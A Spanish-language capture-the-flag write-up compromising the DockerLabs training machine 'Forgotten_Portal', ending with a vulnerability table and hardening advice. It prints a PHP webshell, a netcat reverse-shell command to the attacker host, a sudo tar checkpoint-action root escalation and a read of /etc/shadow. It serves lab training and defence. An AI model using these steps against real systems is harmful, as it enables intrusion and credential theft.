Ir al contenido

Forgotten_Portal

Este documento detalla la metodología y procedimiento completo para comprometer la máquina Forgotten_Portal, desarrollada por Cyberland para DockerLabs y clasificada con dificultad Media. Esta máquina simula un escenario común donde funcionalidades de upload mal configuradas, exposición de logs y configuración insegura de sudo permiten escalada completa de privilegios.

La resolución sigue una metodología estructurada:

  1. Reconocimiento: Enumeración de servicios y descubrimiento de funcionalidad de upload vulnerable.
  2. Explotación: Upload de webshell PHP para obtener ejecución remota de comandos.
  3. Escalada de privilegios: Extracción de credenciales de logs, abuso de claves SSH compartidas y explotación de sudo en tar.

El entorno de prueba fue desplegado localmente mediante DockerLabs, simulando vulnerabilidades comunes en portales web corporativos.


AtributoValor
NombreForgotten_Portal
AutorCyberland
DificultadMedio
Fecha04/12/2024
PlataformaDockerLabs
IP Objetivo172.17.0.2

Descomprimimos el archivo de la máquina y la desplegamos:

Ventana de terminal
unzip Forgotten_Portal.zip
sudo bash auto_deploy.sh Forgotten_Portal.tar

IP asignada

Figura 1: Dirección IP asignada al contenedor

Creamos una estructura organizada para documentar el proceso:

Ventana de terminal
mkdir -p Forgotten_Portal/{content,exploits,nmap,gobuster,scripts}
cd Forgotten_Portal

Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Resultados:

  • 22/tcp — SSH (Secure Shell)
  • 80/tcp — HTTP (Web Server)

Puertos abiertos

Figura 2: Servicios expuestos en la máquina

Realizamos un escaneo exhaustivo de directorios:

Ventana de terminal
feroxbuster -u http://172.17.0.2 -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

Resultado del escaneo

Figura 3: Directorios y archivos descubiertos

  1. /index — Página principal de una compañía de ciberseguridad Página principal Figura 4: Nota sobre funcionalidad de upload implementada por Bob

  2. /uploads — Directorio con permisos de lectura

    Ventana de terminal
    curl -s http://172.17.0.2/uploads/

    Accesible públicamente, contiene archivos subidos

2.4 Descubrimiento de Funcionalidad Crítica

Sección titulada «2.4 Descubrimiento de Funcionalidad Crítica»

Inspeccionando el código fuente de /index, encontramos referencia a /m4ch1n3_upload.php:

Portal de upload

Figura 5: Portal de upload que acepta archivos PHP

Hallazgos importantes:

  • Upload functionality accessible at /m4ch1n3_upload.php
  • Explicitly allows .php file uploads
  • Files are stored in /uploads/ directory
  • No apparent filtering or validation

Creamos un archivo PHP simple para ejecución de comandos:

<?php
// shell.php - Web Shell básico
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
} else {
echo "Web Shell activa. Use ?cmd=<comando>";
}
?>

Subimos el archivo a través del portal:

  1. Accedemos a http://172.17.0.2/m4ch1n3_upload.php
  2. Seleccionamos shell.php
  3. Enviamos el formulario

Upload exitoso

Figura 6: Archivo PHP subido exitosamente

Iniciamos un listener y accedemos al webshell:

Ventana de terminal
# Iniciamos listener
nc -nlvp 443
# Ejecutamos reverse shell desde el webshell
curl "http://172.17.0.2/uploads/shell.php?cmd=nc+-e+/bin/bash+172.17.0.1+443"

Reverse shell obtenida

Figura 7: Shell como usuario www-data

Mejoramos la shell interactiva:

Ventana de terminal
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin

Comenzamos la enumeración post-explotación:

Ventana de terminal
whoami
id
pwd
ls -la

Revisamos archivos de log accesibles:

Ventana de terminal
find / -name "*.log" -type f 2>/dev/null | head -20

Encontramos un archivo de log interesante:

Ventana de terminal
cat /path/to/access_log

Contenido del access_log

Figura 8: Log con credenciales en base64

Extracción y decodificación de credenciales:

Ventana de terminal
echo 'YWxpY2U6QWxpY2UxMjM0NQ==' | base64 -d

Resultado: alice:Alice12345

Utilizamos las credenciales obtenidas:

Ventana de terminal
su alice
# Contraseña: Alice12345

Shell como alice

Figura 9: Acceso como usuario alice

Durante la enumeración como alice, encontramos un reporte de incidentes:

Ventana de terminal
find /home -name "*.txt" -o -name "*.md" 2>/dev/null | xargs grep -l "bob\|ssh\|id_rsa" 2>/dev/null

Hallazgos del reporte:

  • La clave privada SSH de bob (id_rsa) fue copiada accidentalmente al directorio .ssh de todos los usuarios
  • La passphrase está documentada en texto plano en el reporte
  • La ruta es: ~/.ssh/id_rsa en cada home directory

Configuramos y utilizamos la clave SSH:

Ventana de terminal
# Verificamos la existencia de la clave
ls -la ~/.ssh/id_rsa
# Ajustamos permisos
chmod 600 ~/.ssh/id_rsa
# Probamos la conexión (passphrase del reporte)
ssh -i ~/.ssh/id_rsa bob@localhost

Alternativa si falla SSH directo:

Ventana de terminal
# Copiamos la clave y usamos desde atacante
cat ~/.ssh/id_rsa
# [Copiar contenido y usar desde máquina atacante]

Verificamos privilegios sudo disponibles:

Ventana de terminal
sudo -l

Privilegios sudo de bob

Figura 10: Bob puede ejecutar tar como root sin contraseña

Utilizamos la opción --checkpoint-action de tar para ejecutar comandos como root:

Ventana de terminal
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

Explicación del exploit:

  • --checkpoint=1: Establece un checkpoint cada 1 registro
  • --checkpoint-action=exec=/bin/bash: Ejecuta /bin/bash en cada checkpoint
  • Tar se ejecuta como root, por lo que bash se ejecuta como root

Acceso root obtenido

Figura 11: Shell como usuario root

Ventana de terminal
id
whoami
cat /etc/shadow | head -5

VulnerabilidadSeveridadImpactoCWE/Referencia
Upload de archivos sin validaciónCríticaEjecución remota de códigoCWE-434
Exposición de directorio /uploadsAltaAcceso directo a archivos subidosCWE-552
Credenciales en logs en texto plano/Base64AltaExposición de credencialesCWE-532
Claves SSH compartidas entre usuariosCríticaEscalada horizontal de privilegiosCWE-522
Configuración insegura de sudo (tar)CríticaEjecución de comandos como rootCWE-269
Passphrases de claves en documentaciónAltaAnulación de protección por claveCWE-521
  1. Validación de Upload de Archivos:

    • Implementar lista blanca de extensiones permitidas
    • Validar tipo MIME real del archivo
    • Renombrar archivos subidos (ej: usar UUIDs)
    • Almacenar archivos fuera del directorio web root
    // EJEMPLO DE VALIDACIÓN CORRECTA
    $allowed_extensions = ['jpg', 'png', 'pdf'];
    $file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    if(!in_array($file_extension, $allowed_extensions)) {
    die("Tipo de archivo no permitido");
    }
  2. Protección de Directorios de Upload:

    • Implementar .htaccess para bloquear ejecución
    # .htaccess en directorio uploads
    Options -Indexes
    RemoveHandler .php .phtml .php3 .php4 .php5 .php7
    RemoveType .php .phtml .php3 .php4 .php5 .php7
    <FilesMatch "\.php$">
    Order Deny,Allow
    Deny from all
    </FilesMatch>
  3. Gestión de Logs y Credenciales:

    • No registrar credenciales en logs
    • Encriptar datos sensibles en logs
    • Implementar rotación y retención adecuada de logs
    • Restringir acceso a archivos de log
  4. Gestión de Claves SSH:

    • No compartir claves privadas entre usuarios
    • Utilizar agentes SSH para gestión de claves
    • Implementar certificados SSH en lugar de claves estáticas
    • Rotar claves regularmente y después de incidentes
  5. Configuración Segura de Sudo:

    • Revisar y minimizar privilegios sudo
    • Especificar comandos exactos en lugar de binarios genéricos
    • Implementar reglas específicas para tar:
    Ventana de terminal
    # INCORRECTO
    bob ALL=(ALL) NOPASSWD: /bin/tar
    # CORRECTO (si es necesario)
    bob ALL=(ALL) NOPASSWD: /bin/tar -c /backups/*
  6. Hardening del Sistema:

    • Implementar SELinux/AppArmor para confinamiento
    • Configurar sistemas de detección de intrusión (IDS)
    • Monitorear ejecución de comandos privilegiados
    • Realizar auditorías de seguridad periódicas
  7. Concienciación y Capacitación:

    • Capacitar a desarrolladores en seguridad web
    • Implementar revisiones de código seguro
    • Establecer políticas de manejo de credenciales
    • Realizar ejercicios de respuesta a incidentes